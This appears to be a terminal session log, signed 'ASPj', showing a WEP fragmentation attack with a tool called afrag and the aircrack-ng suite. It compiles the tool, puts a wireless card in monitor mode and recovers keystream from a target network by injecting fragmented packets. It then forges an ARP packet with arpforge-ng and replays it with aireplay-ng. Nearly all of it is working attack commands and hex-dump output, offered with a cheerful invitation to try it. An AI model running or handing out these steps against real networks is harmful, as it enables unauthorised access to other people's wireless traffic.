haquetop2:/afrag-0.1 # gcc -o afrag afrag.c
afrag.c:888:2: warning: no newline at end of file
haquetop2:/afrag-0.1 # ./afrag
ieee80211rawframework: Need to know your device!
haquetop2:/afrag-0.1 # ./afrag rausb0
USAGE: ./afrag <interface> <BSSID> <Client1MAC> <Client2MAC> <SrcIP> <DestIP> <PRGA-Output-Filename>
haquetop2:/afrag-0.1 # ifconfig rausb0 up
haquetop2:/afrag-0.1 # iwconfig rausb0 rate 1M channel 1 mode monitor
haquetop2:/afrag-0.1 # ./afrag rausb0 00:0F:B5:59:29:16 00:12:F0:2E:B9:34 FF:FF:FF:FF:FF:FF 192.168.1.23 192.168.1.24 test.xor
Waiting for a data packet...
Data packet found!
Keystream (recovered 7 bytes):
        Size: 7, FromDS: 1, ToDS: 0
        0x0000:  301e 313a 401e b5                        0.1:@..
Sending fragmented packet
Packet:
        Size: 60, FromDS: 0, ToDS: 1 (WEP)
        0x0000:  0841 9500 000f b559 2916 0012 f02e b934  .A.....Y)......4
        0x0010:  ffff ffff ffff 0000 aaaa 0300 0000 0806  ................
        0x0020:  0001 0800 0604 0001 0012 f02e b934 c0a8  .............4..
        0x0030:  0117 0000 0000 0000 c0a8 0118            ............
No answer, repeating...
Trying a LLC NULL packet
Sending fragmented packet
Packet:
        Size: 63, FromDS: 0, ToDS: 1 (WEP)
        0x0000:  0841 9500 000f b559 2916 0012 f02e b934  .A.....Y)......4
        0x0010:  ffff ffff ffff 0000 0000 0000 0000 0000  ................
        0x0020:  0000 0000 0000 0000 0000 0000 0000 0000  ................
        0x0030:  0000 0000 0000 0000 0000 0000 0000 00    ...............
No answer, repeating...
Sending fragmented packet
Packet:
        Size: 60, FromDS: 0, ToDS: 1 (WEP)
        0x0000:  0841 9500 000f b559 2916 0012 f02e b934  .A.....Y)......4
        0x0010:  ffff ffff ffff 0000 aaaa 0300 0000 0806  ................
        0x0020:  0001 0800 0604 0001 0012 f02e b934 c0a8  .............4..
        0x0030:  0117 0000 0000 0000 c0a8 0118            ............
Got RELAYED packet!!
Data packet sniffed:
        Size: 71, FromDS: 1, ToDS: 0 (WEP)
        0x0000:  0842 9500 ffff ffff ffff 000f b559 2916  .B...........Y).
        0x0010:  0012 f02e b934 2009 0000 1800 df12 1f0f  .....4 .........
        0x0020:  b4b1 a561 1e67 4879 cbdc 8668 87b6 43ee  ...a.gHy...h..C.
        0x0030:  22da 739f fd26 8450 21fc bda8 d90c 84b6  ".s..&.P!.......
        0x0040:  a55f bb1c 4ff7 e8                        ._..O..
Thats our LLC Null packet!
Resulting keystream:
        Size: 36, FromDS: 1, ToDS: 0
        0x0000:  df12 1f0f b4b1 a561 1e67 4879 cbdc 8668  .......a.gHy...h
        0x0010:  87b6 43ee 22da 739f fd26 8450 21fc bda8  ..C.".s..&.P!...
        0x0020:  d90c 84b6                                ....
Trying to get 408 bytes of a keystream
Packet:
        Size: 408, FromDS: 0, ToDS: 1 (WEP)
        0x0000:  0841 9500 000f b559 2916 0012 f02e b934  .A.....Y)......4
        0x0010:  ffff ffff ffff 0000 aaaa 0300 0000 0806  ................
        0x0020:  0001 0800 0604 0001 0012 f02e b934 c0a8  .............4..
        0x0030:  0117 0000 0000 0000 c0a8 0118 0000 0000  ................
        0x0040:  0000 0000 0000 0000 0000 0000 0000 0000  ................
        0x0050:  0000 0000 0000 0000 0000 0000 0000 0000  ................
        0x0060:  0000 0000 0000 0000 0000 0000 0000 0000  ................
        0x0070:  0000 0000 0000 0000 0000 0000 0000 0000  ................
        0x0080:  0000 0000 0000 0000 0000 0000 0000 0000  ................
        0x0090:  0000 0000 0000 0000 0000 0000 0000 0000  ................
        0x00a0:  0000 0000 0000 0000 0000 0000 0000 0000  ................
        0x00b0:  0000 0000 0000 0000 0000 0000 0000 0000  ................
        0x00c0:  0000 0000 0000 0000 0000 0000 0000 0000  ................
        0x00d0:  0000 0000 0000 0000 0000 0000 0000 0000  ................
        --- CUT ---
No answer, repeating...
Trying a LLC NULL packet
Packet:
        Size: 440, FromDS: 0, ToDS: 1 (WEP)
        0x0000:  0841 9500 000f b559 2916 0012 f02e b934  .A.....Y)......4
        0x0010:  ffff ffff ffff 0000 0000 0000 0000 0000  ................
        0x0020:  0000 0000 0000 0000 0000 0000 0000 0000  ................
        0x0030:  0000 0000 0000 0000 0000 0000 0000 0000  ................
        0x0040:  0000 0000 0000 0000 0000 0000 0000 0000  ................
        0x0050:  0000 0000 0000 0000 0000 0000 0000 0000  ................
        0x0060:  0000 0000 0000 0000 0000 0000 0000 0000  ................
        0x0070:  0000 0000 0000 0000 0000 0000 0000 0000  ................
        0x0080:  0000 0000 0000 0000 0000 0000 0000 0000  ................
        0x0090:  0000 0000 0000 0000 0000 0000 0000 0000  ................
        0x00a0:  0000 0000 0000 0000 0000 0000 0000 0000  ................
        0x00b0:  0000 0000 0000 0000 0000 0000 0000 0000  ................
        0x00c0:  0000 0000 0000 0000 0000 0000 0000 0000  ................
        0x00d0:  0000 0000 0000 0000 0000 0000 0000 0000  ................
        --- CUT ---
Got RELAYED packet!!
Thats our LLC Null packet!
Resulting keystream:
        Size: 432, FromDS: 0, ToDS: 1
        0x0000:  24d5 bb04 db54 0679 ce1c 4cc9 e25f ea99  $....T.y..L.._..
        0x0010:  9ce3 3fa7 0519 6dbe c761 fbb1 a9cf 741a  ..?...m..a....t.
        0x0020:  6ba2 3c42 db11 4d3d d52c 8acf d5c0 3b6b  k.<B..M=.,....;k
        0x0030:  ac21 b301 d66c 4040 5fe6 72f4 61a6 d1dd  .!...l@@_.r.a...
        0x0040:  0d00 d328 d801 b36b cdeb 0f3a 3fd1 2f48  ...(...k...:?./H
        0x0050:  551c 8321 d786 5c59 6c44 566d 0517 c213  U..!..\YlDVm....
        0x0060:  5aeb d1a3 7890 1554 2aec 9a8a 53f9 f985  Z...x..T*...S...
        0x0070:  6b89 4820 3ed3 f942 cddb c6de 5789 03a9  k.H >..B....W...
        0x0080:  10a9 724b 0061 deaa 36d5 be58 864a 6145  ..rK.a..6..X.JaE
        0x0090:  9396 0520 9d50 4930 0dce f22b 0cc6 cda0  ... .PI0...+....
        0x00a0:  3ee9 6a14 2220 d8b8 c1ed 16cd 6855 9d44  >.j." ......hU.D
        0x00b0:  75e3 248a 9f9b e5aa ba17 4f64 6ab4 0dad  u.$.......Odj...
        0x00c0:  fe22 6a20 6374 93d8 0886 5f29 6373 3ca5  ."j ct...._)cs<.
        0x00d0:  0a9c 2e08 e9fe d31c e467 ce93 6535 6346  .........g..e5cF
        --- CUT ---
Now you can build a packet with packetforge-ng out of that keystream

haquetop2:/afrag-0.1 # arpforge-ng

  Arpforge-ng 0.6 - (C) 2006 Thomas d'Otreppe
  Original work: Christophe Devine
  http://www.aircrack-ng.org
  usage: arpforge-ng <prga file> <type> <bssid> <mac src>
                     <ip src> <ip dest> <output filename>

haquetop2:/afrag-0.1 # arpforge-ng test.xor 1 00:0F:B5:59:29:16 00:12:F0:2E:B9:34 192.168.1.23 192.168.1.24 test.cap
Done.
haquetop2:/afrag-0.1 # aireplay-ng -2 rausb0 -r test.cap


        Size: 68, FromDS: 0, ToDS: 1 (WEP)

             BSSID  =  00:0F:B5:59:29:16
         Dest. MAC  =  FF:FF:FF:FF:FF:FF
        Source MAC  =  00:12:F0:2E:B9:34

        0x0000:  0841 0201 000f b559 2916 0012 f02e b934  .A.....Y)......4
        0x0010:  ffff ffff ffff 8001 0000 2100 8e7f b804  ..........!....
        0x0020:  db54 0e7f ce1d 44c9 e45b ea98 9cf1 cf89  .T...D..[......
        0x0030:  bc2d ad16 c676 fbb1 a9cf 741a ab0a 3d5a  .-...v....t...=Z
        0x0040:  bab3 161e                                ....

Use this packet ? y

Saving chosen packet in replay_src-0929-032919.cap
You should also start airodump-ng to capture replies.




HAVE a LOT of FUN and please don't forget to report back. THANK YOU!

ASPj